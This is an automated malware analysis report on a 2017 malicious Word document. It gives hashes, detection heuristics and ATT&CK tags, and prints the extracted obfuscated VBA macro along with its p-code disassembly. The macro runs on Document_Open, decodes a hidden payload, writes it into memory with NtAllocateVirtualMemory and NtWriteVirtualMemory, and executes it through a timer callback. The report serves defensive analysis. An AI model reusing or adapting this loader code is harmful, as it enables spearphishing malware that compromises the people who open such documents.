Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab90ed6cb461f17c…

MALICIOUS

Office (OLE)

195.5 KB Created: 2017-08-20 21:54:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: 929fb9558479a5c1c33f71a7373c3962 SHA-1: fcc0f73d96e660c58dd2e2f9a433a17aabdb7c62 SHA-256: ab90ed6cb461f17ce1f901097a045aba7c984898a0425767f01454689698f2e9
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical heuristic 'CLAMAV_DETECTION: ClamAV: Doc.Dropper.Agent-6337049-0' and the high heuristic 'OLE_VBA_PCODE_AUTOEXEC_EXEC' indicate that this document contains a malicious VBA macro designed to execute code. The 'Document_Open' macro is present, suggesting it runs automatically upon opening. The script itself is heavily obfuscated, but the presence of 'GetObject' and the overall structure strongly suggest it's a dropper intended to download and execute a secondary payload.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6337049-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6337049-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
    Private Sub Document_Open()
    Dim magnificat As Variant
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45428 bytes
SHA-256: a793d4dd744c6fba79056571fe62f6eac9851d7aa2f64582a04f744772b09d03
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Sub plaque()
Dim cinematographer As Integer
Dim radio As Integer
modernization.pothos.Value = Day(#12/5/2013#)
varday = minstrelsy = "rote"
bennettitis = "ajaia"
archaistic = aceration
sarcosome = "psephomancy"
bomber = "caconym"

anarhichas = bastnasite
schizoid = "melatonin"
Set exfoliation = modernization.pothos.SelectedItem
mildly = 43
newscast = 14579
cubitiere = 538782
 Pmt 0, mildly, 15373, 35015, 2

bulb = exfoliation.Name
maneater = 7844
unassisted = Right(bulb, maneater)
cheerless = ale.monarchies(unassisted)
extenuation = 2
insidious = 16422
ember = 389246
 Pmt 0, extenuation, 22606, 12626, 5

mangle = "scam"
prosy = "implicated"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim commisvoyageur As Variant
Dim montserratian As LongPtr
Dim handcuffs As LongPtr
Dim clairobscur As Long
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim amis As String
Dim handcuffs As Long
Dim analyticity As Variant
Dim montserratian As Long
#End If
helioscope = 34 - 21 - 13
undemonstrable = "antiinflammatory"
distemper = "flacourtia"
scourer = 19 + 128 + 3949
catamenial = 1
guyana = 10399
parquetry = 439203
 Pmt 0, catamenial, 27187, 12482, 2

anacanthini = "pengo"
ataractic = upanishad
confrication = "nucleotide"
loaves = "jewfish"
gladdened = 24
scaliness = 18123
cherimoya = 168176
 Pmt 0, gladdened, 14101, 49769, 8

undisclosed = cheerless
grab = "percussion"
montserratian = seminary(undisclosed)
grison = "orlon"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim catalepsy As String
Dim watercolor As LongPtr
Dim untrimmed As LongPtr
Dim aboral As LongPtr
secularized = 77 + 77 + 1910
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim watercolor As Long
argyranthemum = 126 + 8 + 647
Dim untrimmed As Long
Dim aboral As Long
secularized = argyranthemum + 3459

#End If
Dim catkin As Integer
Dim disseminate As String
watercolor = 0
handcuffs = montserratian + secularized
untrimmed = 102 + 31 + 201394
aboral = 23 - 41 + 3518
beating = elefants(untrimmed, watercolor, handcuffs)
envelop = 10 + 3
abkari = 11760 + 3
alleviation = 230210 + 8
 Pmt 0, envelop, 10426, 51697, 7

End Sub

Function acknowledgment(posession, sloganeering, monkhood)
vagons = samara(20 / 4)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (vagons) Then
Dim camboose As Byte
Dim fatiguing As Byte
Dim contiguity As LongPtr
Dim ringaroundtherosy As LongPtr
Dim ratification As LongPtr
Dim incredulously As Byte
Dim polarization As LongPtr
Dim kittereen As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (vagons) Then
Dim ringaroundtherosy As Long
Dim austenite As String
Dim contiguity As Long
Dim soullessly As Long
Dim polarization As Long
Dim catalogued As Variant
Dim ratification As Long
Dim empirema As Integer
Dim kittereen As Long
Dim trogoniformes As Integer
Dim liquids As Variant
#End If
posy = "dismount"
cancan = "hamate"
ringaroundtherosy = posession
kittereen = monkhood
bacillariophyceae = Fix(441)
polarization = sloganeering
emanation = 100 + 8
diagrammatically = 38200 + 4
motet = 212380 + 1
 Pmt 0, emanation, 16319, 40766, 5

bacillariophyceae = Fix(101)
contiguity = 93 + 74 - 168
bombinate ByVal contiguity, ringaroundtherosy, polarization, kittereen, ratification
cancan = "libya"
End Function
Private Sub Document_Open()
Dim magnificat As Variant
Dim bills As Integer
ametropia = "stroll"
preemption = dubrovnik
plaque
shakable = 30 + 8
cucurbit = 4140 + 8
insemination = 475350 + 1
 Pmt 0, shakable, 5533, 43331, 2
End Sub
Function seminary(hindustan)
Dim etymology As Byte
Dim fogyish As String
Dim federalists As Byte
Dim diggings As Variant
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim stupidity As Variant
Dim article As LongPtr
flagellate = 89 - 33 - 48
Dim justifier As LongPtr
Dim anaphoric As Integer
Dim fairandsquare As Byte
Dim penates As LongPtr
Dim helluo As Long
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim article As Long
flagellate = 37 + 71 - 104
Dim justifier As Long
Dim penates As Long
#End If
alligator = VarPtr(article)
circumscribe = acknowledgment(alligator, VarPtr(hindustan) + 8, flagellate)
jhilmil = 63 - 77 + 13
justifier = 0
ableness = 0
penates = 9290
parrotia = 74 - 12 + 4034
arcturus = 15 - 29 + 78
seaside = carposporic(ByVal jhilmil, justifier, ByVal ableness, penates, ByVal parrotia, ByVal arcturus)
enforced = bacillariophyceae \ 95

enforced = tegucigalpa / 432

acknowledgment justifier, article, 88 - 10 + 5805
redux = 40 + 2
libertine = 38080 + 7
itur = 362810 + 7
 Pmt 0, redux, 20584, 38258, 7

seminary = justifier
End Function


Attribute VB_Name = "ale"
'  But just your sight had my heart storming
'  Rain was driving, thunder, lightning
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
'  Rain was driving, thunder, lightning
'  The moon went hiding, stars quit shining
Public Declare PtrSafe Function carposporic Lib "ntdll.dll  " Alias _
"NtAllocateVirtualMemory" (welldrawn As LongPtr, dementat As LongPtr, ByVal immovable As LongPtr, uncooperativeByVal As LongPtr, mezzorilevo As LongPtr, ByVal chemin As LongPtr) As LongPtr
'  Hit me like a hurricane
'  Hit me like a hurricane
Public Declare PtrSafe Function bombinate Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal lefthanded As Any, ByVal allium As Any, ByVal caret As Any, ByVal alsatia As Any, ByVal unblemished As Any) As LongPtr
'  Rain was driving, thunder, lightning
'  The moon went hiding, stars quit shining
Public Declare PtrSafe Function asseveration Lib "Kernel32" Alias "CreateTimerQueueTimer" (ejectment As Any, ByVal aduncous As Any, ByVal materially As Any, ByVal morosity As Any, ByVal trice As Any, ByVal heterosexual As Any, ByVal dsorient As Any) As Long
'  But just your sight had my heart storming
'  Baby, without warning
Public Declare PtrSafe Function fixity Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (harvestlice As Any) As LongPtr
'  The moon went hiding, stars quit shining
'  But you rolled in with your hair in the wind

'  You wrecked my whole world when you came
'  The moon went hiding, stars quit shining
#End If
'  I wouldnt be in my truck
'  Baby, without warning
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
'  Started talking bout us again
'  Baby, without warning
Public Declare Function carposporic Lib "Ntdll.dll  " Alias _
"NtAllocateVirtualMemory" (antipathy As Long, flam As Long, ByVal silentio As Long, embarrassByVal As Long, arcella As Long, ByVal spermicide As Long) As Long
'  Driving us to your house
'  Baby, without warning
Public Declare Function requested Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (enantiomorphism As Any) As Long
'  We locked eyes over whiskey on ice
'  Rain was driving, thunder, lightning
Public Declare Function asseveration Lib "Kernel32" Alias "CreateTimerQueueTimer" (farewell As Any, ByVal capillament As Any, ByVal admiringly As Any, ByVal banewort As Any, ByVal muttonhead As Any, ByVal bog As Any, ByVal authorize As Any) As Long
'  But you rolled in with your hair in the wind
'  Then you rolled in with your hair in the wind
Public Declare Function bombinate Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal suspense As Any, ByVal turvy As Any, ByVal consequential As Any, ByVal misinterpretation As Any, ByVal labdanum As Any) As Long
'  Rain was driving, thunder, lightning
'  Then you rolled in with your hair in the wind
'  But just your sight had my heart storming
'  Rain was driving, thunder, lightning
#End If
'  Hit me like a hurricane
'  But just your sight had my heart storming

Function monarchies(patellidae) As String
Dim cheerful As Long
Dim sometimes As String

Dim wrinkle As Integer

posy = "dissection"

Dim southamerican As Long
Dim larrup(6962) As Byte
Dim brush As Byte

Dim beekeeper() As Byte
Dim alimentative(63) As Long
Dim toughly As Long
Dim chintz As String
leonardesque = cancan

Dim shattery As Byte

Dim struma As Long
Dim argentous(63) As Long
Dim ignoscito As Integer
posy = cancan

Dim eaves(63) As Long
adequate = 4096
poisoning = 7 + 93 + 257948
antibiotic = 78 + 76 + 16711526
battering = 16515072
malacosoma = 94 + 55 + 107
alabaman = 262144
diamagnet = 72 + 96 + 65112
fuzzy = 63
Dim brachium As Long

Dim absentmindedness As Variant

sapropel = 108 + 125 - 169
candida = 255
saver = 65536
Dim musophobia As Byte

amianth = 26 - 79 + 4085
Dim distinctively As Long
airsick = 0
lwei = 26 + 16 + 7801
Dim again() As Byte
Dim drumming As Byte
Dim khan As String
again = VBA.StrConv(patellidae, 128)
Dim mimesis As Integer
affectioned = 4 + 1
burro = 22090 + 5
pyrophorus = 584971
 Pmt 0, affectioned, 9843, 33767, 3

askant = 7843
promulgator = vbKeyShift - 12
For jakarta = (3 - 3) To askant
If jakarta Mod 2 = (4 - 4) Then
again(jakarta) = again(jakarta) - promulgator
Else
again(jakarta) = again(jakarta) - (promulgator - 1)
End If
Next jakarta
buyout = 55
filament = 32718
ballista = 166192
 Pmt 0, buyout, 24589, 37493, 3

ignoscito = 0
gly = 23 - 26 + 3
aurae = 43
rejectious = mdtrs.assignee
For southamerican = (7 - 7) * 1 To (50 + 13) * (5 - 4)
argentous(southamerican) = mdtrs.unaware(southamerican, sapropel, 55)
eaves(southamerican) = mdtrs.unaware(southamerican, adequate, 55)
alimentative(southamerican) = mdtrs.unaware(southamerican, alabaman, 55)
Next southamerican
tallage = 81
buzzword = 33462
preconceived = 440332
 Pmt 0, tallage, 25227, 38293, 4

beekeeper = again
alocasia = 36 - 105 + 73
ambitiously = 20 + 9
inimical = 26410 + 1
neotoma = 250310 + 4
 Pmt 0, ambitiously, 34867, 37643, 7

twitch = 2 + 1
posy = "whine"

bacillariophyceae = Rnd(274)

annulment = twitch + 1
inbounds = 114 - 60 - 52
For struma = (3 - 3) To askant
bebop = beekeeper(struma)
smitane = beekeeper(struma + 2)
flageolet = eaves(rejectious(beekeeper(struma + 1)))
fandango = argentous(rejectious(smitane)) + rejectious(beekeeper(struma + twitch))
toughly = alimentative(rejectious(bebop)) + flageolet + fandango
southamerican = mdtrs.unaware(toughly, antibiotic, 47)
larrup(cheerful) = mdtrs.unaware(southamerican, saver, 37)
southamerican = mdtrs.unaware(toughly, diamagnet, 47)
larrup(cheerful + 1) = mdtrs.unaware(southamerican, malacosoma, 37)
larrup(cheerful + inbounds) = mdtrs.unaware(toughly, candida, 47)
cheerful = cheerful + inbounds + 1
struma = struma + 3
Next
monarchies = larrup
End Function
Function elefants(wrd, buls, lky)
fitr = samara(4 * 10 / 8)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (fitr) Then
Dim nikolas As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (fitr) Then
Dim nikolas As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
nikolas = buls
deble = lky
dan2 = asseveration(wrd, nikolas, deble, nikolas, nikolas, nikolas, nikolas)
End Function



Attribute VB_Name = "modernization"
Attribute VB_Base = "0{65F4F1BC-40BA-49A8-B8C6-163CE2497F59}{162405D5-504B-4BFC-995A-EA1C8157FE2A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "mdtrs"


Function unaware(august, astrocyte, rajab)

If rajab = (37 * 1) + (10 / 2 - 5) Then
unaware = august \ astrocyte
ElseIf rajab = (40 + 7) + (5 - 3) / 2 - 1 Then
unaware = august And astrocyte
ElseIf rajab = (50 + 5) + (56 / 7 - 4 * 2) Then
unaware = august * astrocyte
End If
End Function

Function assignee()
Dim suicide(255) As Byte
epochal = 38 - 91 + 118
Do While (epochal) <= 90 + 1
suicide(epochal) = epochal - 65
epochal = epochal + 1
Loop
epochal = 48
Do While (epochal) <= 50 + 8
suicide(epochal) = epochal + 4
epochal = epochal + 1
Loop
epochal = 97
Do While (epochal) <= 120 + 3
suicide(epochal) = epochal - 71
epochal = epochal + 1
Loop
suicide(47) = 63
epochal = 43
suicide(epochal) = 60 + 2
assignee = suicide
End Function
Function samara(netves)
Dim windser As Integer
Dim velvet As Integer
fixoid = netves * 12
Dim sitroen As Variant
subway2 = netves * 2
Dim cowen() As Byte
#If (3 * 4 + netves) > (7 - 2 * 1) And (10 - netves * 2) * 2 < (Win64) Then
velvet = subway2
#End If
#If (3 * 4 + netves) > (7 - 2 * 1) And Not (Win64) > (10 - netves * 2) * 2 Then
velvet = (120 - fixoid)
#End If
subway3 = subway2 + velvet
samara = velvet
End Function

' Processing file: /opt/analyzer/scan_staging/11d4fcea194d43f38b37964a0ab8c981.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 14710 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' 	FuncDefn (Sub plaque())
' Line #6:
' 	Dim 
' 	VarDefn cinematographer (As Integer)
' Line #7:
' 	Dim 
' 	VarDefn radio (As Integer)
' Line #8:
' 	LitDate 0x0000 0x0000 0x51A0 0x40E4 
' 	ArgsLd Day 0x0001 
' 	Ld modernization 
' 	MemLd pothos 
' 	MemSt Value 
' Line #9:
' 	Ld minstrelsy 
' 	LitStr 0x0004 "rote"
' 	Eq 
' 	St varday 
' Line #10:
' 	LitStr 0x0005 "ajaia"
' 	St bennettitis 
' Line #11:
' 	Ld aceration 
' 	St archaistic 
' Line #12:
' 	LitStr 0x000B "psephomancy"
' 	St sarcosome 
' Line #13:
' 	LitStr 0x0007 "caconym"
' 	St bomber 
' Line #14:
' Line #15:
' 	Ld bastnasite 
' 	St anarhichas 
' Line #16:
' 	LitStr 0x0009 "melatonin"
' 	St schizoid 
' Line #17:
' 	SetStmt 
' 	Ld modernization 
' 	MemLd pothos 
' 	MemLd SelectedItem 
' 	Set exfoliation 
' Line #18:
' 	LitDI2 0x002B 
' 	St mildly 
' Line #19:
' 	LitDI2 0x38F3 
' 	St newscast 
' Line #20:
' 	LitDI4 0x389E 0x0008 
' 	St cubitiere 
' Line #21:
' 	LitDI2 0x0000 
' 	Ld mildly 
' 	LitDI2 0x3C0D 
' 	LitDI4 0x88C7 0x0000 
' 	LitDI2 0x0002 
' 	ArgsCall Pmt 0x0005 
' Line #22:
' Line #23:
' 	Ld exfoliation 
' 	MemLd Name 
' 	St bulb 
' Line #24:
' 	LitDI2 0x1EA4 
' 	St maneater 
' Line #25:
' 	Ld bulb 
' 	Ld maneater 
' 	ArgsLd Right 0x0002 
' 	St unassisted 
' Line #26:
' 	Ld unassisted 
' 	Ld ale 
' 	ArgsMemLd monarchies 0x0001 
' 	St cheerless 
' Line #27:
' 	LitDI2 0x0002 
' 	St extenuation 
' Line #28:
' 	LitDI2 0x4026 
' 	St insidious 
' Line #29:
' 	LitDI4 0xF07E 0x0005 
' 	St ember 
' Line #30:
' 	LitDI2 0x0000 
' 	Ld extenuation 
' 	LitDI2 0x584E 
' 	LitDI2 0x3152 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #31:
' Line #32:
' 	LitStr 0x0004 "scam"
' 	St mangle 
' Line #33:
' 	LitStr 0x000A "implicated"
' 	St prosy 
' Line #34:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #35:
' 	Dim 
' 	VarDefn commisvoyageur (As Variant)
' Line #36:
' 	Dim 
' 	VarDefn montserratian (As Ptr)
' Line #37:
' 	Dim 
' 	VarDefn handcuffs (As Ptr)
' Line #38:
' 	Dim 
' 	VarDefn clairobscur (As Long)
' Line #39:
' 	LbMark 
' 	LbEndIf 
' Line #40:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #41:
' 	Dim 
' 	VarDefn amis (As String)
' Line #42:
' 	Dim 
' 	VarDefn handcuffs (As Long)
' Line #43:
' 	Dim 
' 	VarDefn analyticity (As Variant)
' Line #44:
' 	Dim 
' 	VarDefn montserratian (As Long)
' Line #45:
' 	LbMark 
' 	LbEndIf 
' Line #46:
' 	LitDI2 0x0022 
' 	LitDI2 0x0015 
' 	Sub 
' 	LitDI2 0x000D 
' 	Sub 
' 	St helioscope 
' Line #47:
' 	LitStr 0x0010 "antiinflammatory"
' 	St undemonstrable 
' Line #48:
' 	LitStr 0x000A "flacourtia"
' 	St distemper 
' Line #49:
' 	LitDI2 0x0013 
' 	LitDI2 0x0080 
' 	Add 
' 	LitDI2 0x0F6D 
' 	Add 
' 	St scourer 
' Line #50:
' 	LitDI2 0x0001 
' 	St catamenial 
' Line #51:
' 	LitDI2 0x289F 
' 	St guyana 
' Line #52:
' 	LitDI4 0xB3A3 0x0006 
' 	St parquetry 
' Line #53:
' 	LitDI2 0x0000 
' 	Ld catamenial 
' 	LitDI2 0x6A33 
' 	LitDI2 0x30C2 
' 	LitDI2 0x0002 
' 	ArgsCall Pmt 0x0005 
' Line #54:
' Line #55:
' 	LitStr 0x0005 "pengo"
' 	St anacanthini 
' Line #56:
' 	Ld upanishad 
' 	St ataractic 
' Line #57:
' 	LitStr 0x000A "nucleotide"
' 	St confrication 
' Line #58:
' 	LitStr 0x0007 "jewfish"
' 	St loaves 
' Line #59:
' 	LitDI2 0x0018 
' 	St gladdened 
' Line #60:
' 	LitDI2 0x46CB 
' 	St scaliness 
' Line #61:
' 	LitDI4 0x90F0 0x0002 
' 	St cherimoya 
' Line #62:
' 	LitDI2 0x0000 
' 	Ld gladdened 
' 	LitDI2 0x3715 
' 	LitDI4 0xC269 0x0000 
' 	LitDI2 0x0008 
' 	ArgsCall Pmt 0x0005 
' Line #63:
' Line #64:
' 	Ld cheerless 
' 	St undisclosed 
' Line #65:
' 	LitStr 0x000A "percussion"
' 	St grab 
' Line #66:
' 	Ld undisclosed 
' 	ArgsLd seminary 0x0001 
' 	St montserratian 
' Line #67:
' 	LitStr 0x0005 "orlon"
' 	St grison 
' Line #68:
' 	LbMark 
' 	LitDI2 0x0003 
' 	LitDI2 0x0004 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0005 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0008 
' 	LitDI2 0x0004 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #69:
' 	Dim 
' 	VarDefn catalepsy (As String)
' Line #70:
' 	Dim 
' 	VarDefn watercolor (As Ptr)
' Line #71:
' 	Dim 
' 	VarDefn untrimmed (As Ptr)
' Line #72:
' 	Dim 
' 	VarDefn aboral (As Ptr)
' Line #73:
' 	LitDI2 0x004D 
' 	LitDI2 0x004D 
' 	Add 
' 	LitDI2 0x0776 
' 	Add 
' 	St secularized 
' Line #74:
' 	LbMark 
' 	LbEndIf 
' Line #75:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #76:
' 	Dim 
' 	VarDefn watercolor (As Long)
' Line #77:
' 	LitDI2 0x007E 
' 	LitDI2 0x0008 
' 	Add 
' 	LitDI2 0x0287 
' 	Add 
' 	St argyranthemum 
' Line #78:
' 	Dim 
' 	VarDefn untrimmed (As Long)
' Line #79:
' 	Dim 
' 	VarDefn aboral (As Long)
' Line #80:
' 	Ld argyranthemum 
' 	LitDI2 0x0D83 
' 	Add 
' 	St secularized 
' Line #81:
' Line #82:
' 	LbMark 
' 	LbEndIf 
' Line #83:
' 	Dim 
' 	VarDefn catkin (As Integer)
' Line #84:
' 	Dim 
' 	VarDefn disseminate (As String)
' Line #85:
' 	LitDI2 0x0000 
' 	St watercolor 
' Line #86:
' 	Ld montserratian 
' 	Ld secularized 
' 	Add 
' 	St handcuffs 
' Line #87:
' 	LitDI2 0x0066 
' 	LitDI2 0x001F 
' 	Add 
' 	LitDI4 0x12B2 0x0003 
' 	Add 
' 	St untrimmed 
' Line #88:
' 	LitDI2 0x0017 
' 	LitDI2 0x0029 
' 	Sub 
' 	LitDI2 0x0DBE 
' 	Add 
' 	St aboral 
' Line #89:
' 	Ld untrimmed 
' 	Ld watercolor 
' 	Ld handcuffs 
' 	ArgsLd _B_var_motet 0x0003 
' 	St beating 
' Line #90:
' 	LitDI2 0x000A 
' 	LitDI2 0x0003 
' 	Add 
' 	St envelop 
' Line #91:
' 	LitDI2 0x2DF0 
' 	LitDI2 0x0003 
' 	Add 
' 	St abkari 
' Line #92:
' 	LitDI4 0x8342 0x0003 
' 	LitDI2 0x0008 
' 	Add 
' 	St alleviation 
' Line #93:
' 	LitDI2 0x0000 
' 	Ld envelop 
' 	LitDI2 0x28BA 
' 	LitDI4 0xC9F1 0x0000 
' 	LitDI2 0x0007 
' 	ArgsCall Pmt 0x0005 
' Line #94:
' Line #95:
' 	EndSub 
' Line #96:
' Line #97:
' 	FuncDefn (Function acknowledgment(posession))
' Line #98:
' 	LitDI2 0x0014 
' 	LitDI2 0x0004 
' 	Div 
' 	ArgsLd fitr 0x0001 
' 	St subway3 
' Line #99:
' 	LbMark 
' 	LitDI2 0x0007 
' 	LitDI2 0x0004 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0014 
' 	LitDI2 0x0005 
' 	LitDI2 0x0004 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld subway3 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #100:
' 	Dim 
' 	VarDefn camboose (As Byte)
' Line #101:
' 	Dim 
' 	VarDefn fatiguing (As Byte)
' Line #102:
' 	Dim 
' 	VarDefn contiguity (As Ptr)
' Line #103:
' 	Dim 
' 	VarDefn ringaroundtherosy (As Ptr)
' Line #104:
' 	Dim 
' 	VarDefn ratification (As Ptr)
' Line #105:
' 	Dim 
' 	VarDefn incredulously (As Byte)
' Line #106:
' 	Dim 
' 	VarDefn polarization (As Ptr)
' Line #107:
' 	Dim 
' 	VarDefn kittereen (As Ptr)
' Line #108:
' 	LbMark 
' 	LbEndIf 
' Line #109:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld subway3 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #110:
' 	Dim 
' 	VarDefn ringaroundtherosy (As Long)
' Line #111:
' 	Dim 
' 	VarDefn austenite (As String)
' Line #112:
' 	Dim 
' 	VarDefn contiguity (As Long)
' Line #113:
' 	Dim 
' 	VarDefn soullessly (As Long)
' Line #114:
' 	Dim 
' 	VarDefn polarization (As Long)
' Line #115:
' 	Dim 
' 	VarDefn catalogued (As Variant)
' Line #116:
' 	Dim 
' 	VarDefn ratification (As Long)
' Line #117:
…